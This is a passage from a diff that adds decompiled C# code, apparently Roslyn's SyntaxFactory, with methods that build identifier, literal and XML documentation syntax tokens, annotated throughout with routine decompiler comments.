missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Identifier(underlyingNode, text, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Identifier(SyntaxTriviaList leading, string text, SyntaxTriviaList trailing) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Identifier(((SyntaxTriviaList)(ref leading)).Node, text, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken VerbatimIdentifier(SyntaxTriviaList leading, string text, string valueText, SyntaxTriviaList trailing) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + if (text.StartsWith("@", StringComparison.Ordinal)) + { + throw new ArgumentException("text should not start with an @ character."); + } + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Identifier(SyntaxKind.IdentifierName, ((SyntaxTriviaList)(ref leading)).Node, "@" + text, valueText, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Identifier(SyntaxTriviaList leading, SyntaxKind contextualKind, string text, string valueText, SyntaxTriviaList trailing) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Identifier(contextualKind, ((SyntaxTriviaList)(ref leading)).Node, text, valueText, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(int value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)0), value); + } + + public static SyntaxToken Literal(string text, int value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, int value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(uint value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)2), value); + } + + public static SyntaxToken Literal(string text, uint value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, uint value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(long value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)2), value); + } + + public static SyntaxToken Literal(string text, long value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, long value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(ulong value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)2), value); + } + + public static SyntaxToken Literal(string text, ulong value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, ulong value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(float value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)2), value); + } + + public static SyntaxToken Literal(string text, float value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, float value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(double value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)0), value); + } + + public static SyntaxToken Literal(string text, double value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, double value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(decimal value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)2), value); + } + + public static SyntaxToken Literal(string text, decimal value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, decimal value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(string value) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Literal(SymbolDisplay.FormatLiteral(value, quote: true), value); + } + + public static SyntaxToken Literal(string text, string value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, string value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken Literal(char value) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Literal(ObjectDisplay.FormatLiteral(value, (ObjectDisplayOptions)24), value); + } + + public static SyntaxToken Literal(string text, char value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia elasticMarker = ElasticMarker; + GreenNode underlyingNode = ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode; + elasticMarker = ElasticMarker; + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(underlyingNode, text, value, ((SyntaxTrivia)(ref elasticMarker)).UnderlyingNode)); + } + + public static SyntaxToken Literal(SyntaxTriviaList leading, string text, char value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Literal(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken BadToken(SyntaxTriviaList leading, string text, SyntaxTriviaList trailing) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BadToken(((SyntaxTriviaList)(ref leading)).Node, text, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken XmlTextLiteral(SyntaxTriviaList leading, string text, string value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlTextLiteral(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken XmlEntity(SyntaxTriviaList leading, string text, string value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlEntity(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax DocumentationComment(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.WithTrailingTrivia(SyntaxNodeExtensions.WithLeadingTrivia(DocumentationCommentTrivia(SyntaxKind.SingleLineDocumentationCommentTrivia, List(content)), (SyntaxTrivia[])(object)new SyntaxTrivia[1] { DocumentationCommentExterior("/// ") }), (SyntaxTrivia[])(object)new SyntaxTrivia[1] { EndOfLine("") }); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlSummaryElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlSummaryElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlSummaryElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlMultiLineElement("summary", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlSeeElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref) + { + return XmlEmptyElement("see").AddAttributes(XmlCrefAttribute(cref)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlSeeAlsoElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref) + { + return XmlEmptyElement("seealso").AddAttributes(XmlCrefAttribute(cref)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlSeeAlsoElement(Uri linkAddress, SyntaxList linkText) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax xmlElementSyntax = XmlElement("seealso", linkText); + return xmlElementSyntax.WithStartTag(xmlElementSyntax.StartTag.AddAttributes(XmlTextAttribute("cref", linkAddress.ToString()))); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlThreadSafetyElement() + { + return XmlThreadSafetyElement(isStatic: true, isInstance: false); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlThreadSafetyElement(bool isStatic, bool isInstance) + { + return XmlEmptyElement("threadsafety").AddAttributes(XmlTextAttribute("static", isStatic.ToString().ToLowerInvariant()), XmlTextAttribute("instance", isInstance.ToString().ToLowerInvariant())); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameAttributeSyntax XmlNameAttribute(string parameterName) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.WithLeadingTrivia(XmlNameAttribute(XmlName("name"), Token(SyntaxKind.DoubleQuoteToken), parameterName, Token(SyntaxKind.DoubleQuoteToken)), (SyntaxTrivia[])(object)new SyntaxTrivia[1] { Whitespace(" ") }); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlPreliminaryElement() + { + return XmlEmptyElement("preliminary"); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax XmlCrefAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref) + { + return XmlCrefAttribute(cref, SyntaxKind.DoubleQuoteToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax XmlCrefAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, SyntaxKind quoteKind) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + cref = SyntaxNodeExtensions.ReplaceTokens(cref, ((SyntaxNode)cref).DescendantTokens((Func)null, false), (Func)XmlReplaceBracketTokens); + return SyntaxNodeExtensions.WithLeadingTrivia(XmlCrefAttribute(XmlName("cref"), Token(quoteKind), cref, Token(quoteKind)), (SyntaxTrivia[])(object)new SyntaxTrivia[1] { Whitespace(" ") }); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlRemarksElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlRemarksElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlRemarksElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlMultiLineElement("remarks", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlReturnsElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlReturnsElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlReturnsElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlMultiLineElement("returns", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlValueElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlValueElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlValueElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlMultiLineElement("value", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlExceptionElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return XmlExceptionElement(cref, List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlExceptionElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax xmlElementSyntax = XmlElement("exception", content); + return xmlElementSyntax.WithStartTag(xmlElementSyntax.StartTag.AddAttributes(XmlCrefAttribute(cref))); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlPermissionElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return XmlPermissionElement(cref, List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlPermissionElement(Microsoft.CodeAnalysis.CSharp.Syntax.CrefSyntax cref, SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax xmlElementSyntax = XmlElement("permission", content); + return xmlElementSyntax.WithStartTag(xmlElementSyntax.StartTag.AddAttributes(XmlCrefAttribute(cref))); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlExampleElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlExampleElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlExampleElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax xmlElementSyntax = XmlElement("example", content); + return xmlElementSyntax.WithStartTag(xmlElementSyntax.StartTag); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlParaElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlParaElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlParaElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlElement("para", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlParamElement(string parameterName, params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return XmlParamElement(parameterName, List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlParamElement(string parameterName, SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax xmlElementSyntax = XmlElement("param", content); + return xmlElementSyntax.WithStartTag(xmlElementSyntax.StartTag.AddAttributes(XmlNameAttribute(parameterName))); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlParamRefElement(string parameterName) + { + return XmlEmptyElement("paramref").AddAttributes(XmlNameAttribute(parameterName)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlNullKeywordElement() + { + return XmlKeywordElement("null"); + } + + private static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlKeywordElement(string keyword) + { + return XmlEmptyElement("see").AddAttributes(XmlTextAttribute("langword", keyword)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlPlaceholderElement(params Microsoft.CodeAnalysis.CSharp.Syntax.XmlNodeSyntax[] content) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return XmlPlaceholderElement(List(content)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlPlaceholderElement(SyntaxList content) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return XmlElement("placeholder", content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlEmptyElementSyntax XmlEmptyElement(string localName) + { + return XmlEmptyElement(XmlName(localName)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlElement(string localName, SyntaxList content) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return XmlElement(XmlName(localName), content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList content) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return XmlElement(XmlElementStartTag(name), content, XmlElementEndTag(name)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(string name, string value) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return XmlTextAttribute(name, XmlTextLiteral(value)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(string name, params SyntaxToken[] textTokens) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return XmlTextAttribute(XmlName(name), SyntaxKind.DoubleQuoteToken, TokenList(textTokens)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(string name, SyntaxKind quoteKind, SyntaxTokenList textTokens) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return XmlTextAttribute(XmlName(name), quoteKind, textTokens); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax XmlTextAttribute(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxKind quoteKind, SyntaxTokenList textTokens) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNodeExtensions.WithLeadingTrivia(XmlTextAttribute(name, Token(quoteKind), textTokens, Token(quoteKind)), (SyntaxTrivia[])(object)new SyntaxTrivia[1] { Whitespace(" ") }); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlMultiLineElement(string localName, SyntaxList content) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return XmlMultiLineElement(XmlName(localName), content); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementSyntax XmlMultiLineElement(Microsoft.CodeAnalysis.CSharp.Syntax.XmlNameSyntax name, SyntaxList content) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return XmlElement(XmlElementStartTag(name), content, XmlElementEndTag(name)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax XmlNewLine(string text) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return XmlText(XmlTextNewLine(text)); + } + + public static SyntaxToken XmlTextNewLine(string text) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return XmlTextNewLine(text, continueXmlDocumentationComment: true); + } + + public static SyntaxToken XmlTextNewLine(SyntaxTriviaList leading, string text, string value, SyntaxTriviaList trailing) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return new SyntaxToken((GreenNode)(object)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.XmlTextNewLine(((SyntaxTriviaList)(ref leading)).Node, text, value, ((SyntaxTriviaList)(ref trailing)).Node)); + } + + public static SyntaxToken XmlTextNewLine(string text, bool continueXmlDocumentationComment) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or 